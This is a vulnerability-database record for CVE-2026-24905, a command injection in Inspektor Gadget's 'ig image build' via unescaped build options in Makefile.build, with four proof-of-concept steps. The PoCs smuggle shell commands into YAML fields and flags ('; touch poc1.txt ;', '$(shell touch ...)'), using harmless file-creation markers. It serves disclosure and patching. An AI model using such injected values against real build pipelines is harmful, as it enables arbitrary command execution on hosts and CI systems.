{"id":"CVE-2026-24905","aliases":["GHSA-79qw-g77v-2vfh","GO-2026-5211"],"url":"https://o3.security/vulnerability/CVE-2026-24905","summary":"Inspektor Gadget has a Command Injection vulnerability in Makefile.build","details":"### Impacted Resources\n\n`inspektor-gadget/cmd/common/image/build.go`\n`inspektor-gadget/cmd/common/image/helpers/Makefile.build`\n\n### Description\n\nThe `ig` binary provides a subcommand for image building, used to generate custom gadget OCI images.\n\nA part of this functionality is implemented in the file `inspektor-gadget/cmd/common/image/build.go`.\n\nThe following is the code responsible to construct the build command:\n```go\nfunc buildCmd(options buildOptions) []string {\n\tcmd := []string{\n\t\t\"make\", \"-f\", filepath.Join(options.outputDir, \"Makefile.build\"),\n\t\t\"-j\", fmt.Sprintf(\"%d\", runtime.NumCPU()),\n\t\t\"OUTPUTDIR=\" + options.outputDir,\n\t\t\"CFLAGS=\" + options.cFlags,\n\t\t\"FORCE_COLORS=\" + options.forceColorsFlag,\n\t}\n\n\tif options.ebpfSourcePath != \"\" {\n\t\tcmd = append(cmd, \"EBPFSOURCE=\"+options.ebpfSourcePath, \"ebpf\")\n\t}\n\tif options.wasmSourcePath != \"\" {\n\t\tcmd = append(cmd, \"WASM=\"+options.wasmSourcePath, \"wasm\")\n\t}\n\tif options.btfgen {\n\t\tcmd = append(cmd, \"BTFHUB_ARCHIVE=\"+options.btfHubArchivePath, \"btfgen\")\n\t}\n\n\treturn cmd\n}\n```\n\nThe `Makefile.build` file is the Makefile template employed during the building process.\n\nThis file includes user-controlled data in an unsafe fashion, specifically some parameters are embedded without an adequate escaping in the commands inside the Makefile.\n\nThis implementation is vulnerable to command injection: an attacker able to control values in the `buildOptions` structure would be able to execute arbitrary commands during the building process.\n\n\n### Impact\n\nAn attacker able to exploit this vulnerability would be able to execute arbitray command: \n- on the Linux host where the `ig` command is launched, if images are built with the `--local` flag\n- on the build container invoked by `ig`, if the `--local` flag is not provided\n\n### Attack Complexity\n\nThe `buildOptions` structure is extracted from the YAML [gadget manifest](https://inspektor-gadget.io/docs/latest/gadget-devel/building#customizing-your-build) passed to the `ig image build` command. Therefore, the attacker would need a way to control either the full `build.yml` file passed to the `ig image build` command, or one of its options.\n\nTypically, this could happen in a CI/CD scenario that builds untrusted gadgets to verify correctness.\n\n### PoC\n\n#### PoC 1  (Vector: cflags)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"program.bpf.c\"  \nmetadata: \"gadget.yaml\"  \ncflags: \" ; touch poc1.txt ; \"\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test  \ndescription: test gadget  \n```\n3. Create the file `program.bpf.c` with the following content:\n```\n#include <gadget/gadget.h>  \nchar LICENSE[] SEC(\"license\") = \"GPL\";\n```\n4. In the same directory where the files are run the command:\n```\nig image build . -t test:latest\n```\n5. Notice that the file `poc1.txt` gets created inside the directory.\n\n#### PoC2 (Vector: ebpfsource, wasm)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: \"$(shell touch poc2-1.txt)\"\nwasm: \"$(shell touch poc2-2.txt)\"\n```\n2. Create the file `$(shell touch poc2-1.txt)`:\n```\ntouch '$(shell touch poc2-1.txt)'\n```\n3. In the same directory where the files are run the command:\n```\nig image build .\n```\n4. Notice that the files `poc2-1.txt` and `poc2-2.txt` get created inside the directory.\n\n#### PoC3 (Vector: -o, --output)\n\n1. Create the file `build.yaml` with the following content:\n```\nwasm: dummy.go\n```\n2. Create the file `gadget.yaml` with the following content:\n```\nname: test\n```\n3. Create the directory `$(shell touch poc3.txt)`:\n```\ntouch '$(shell touch poc3.txt)'\n```\n4. Retrieve the full path of the created directory:\n```\nreadlink -f '$(shell touch poc3.txt)'\n```\n5. In the same directory where the files are run the command replacing the `<PATH>` placeholder with the value retrieved at step 4:\n```\nig image build . --local -o '<PATH>'\n```\n6. Notice that the file `poc3.txt` gets created inside the directory.\n\n#### PoC4 (Vector: --btfhub-archive)\n\n1. Create the file `build.yaml` with the following content:\n```\nebpfsource: test.c\n```\n2. Create the file `test.c`:\n```\ntouch test.c\n```\n3. In the same directory where the files are run the command\n```\nsudo ig image build . --local --btfgen --btfhub-archive $(pwd)/'$(shell touch poc4.txt)'\n```\n4. Notice that the file `poc4.txt` gets created inside the directory.\n\n### Suggested Remediation\n\nSanitize build options by providing a robust whitelist to filter on.\nAlternatively, revisit the design of image building to prevent shell substitution.\n\n### References\n\n- https://cwe.mitre.org/data/definitions/77.html\n- https://cwe.mitre.org/data/definitions/78.html","published":"2026-01-29T21:29:24.260Z","modified":"2026-08-12T03:51:12.143453102Z","cvss":null,"epss":{"score":0.01281,"percentile":0.67492,"asOf":"2026-08-14"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/inspektor-gadget/inspektor-gadget","fixedVersion":"0.51.1"}],"fix":{"url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a","label":"inspektor-gadget/inspektor-gadget@7c83ad8"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/24xxx/CVE-2026-24905.json"},{"type":"ADVISORY","url":"https://github.com/inspektor-gadget/inspektor-gadget/security/advisories/GHSA-79qw-g77v-2vfh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24905"},{"type":"FIX","url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/7c83ad84ff7a68565655253e2cf1c5d2da695c1a"},{"type":"FIX","url":"https://github.com/inspektor-gadget/inspektor-gadget/commit/d9bf2fe4a180dad33ce57ca793ff4799ee7b8320"},{"type":"PACKAGE","url":"https://github.com/inspektor-gadget/inspektor-gadget"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:12.143453102Z"}}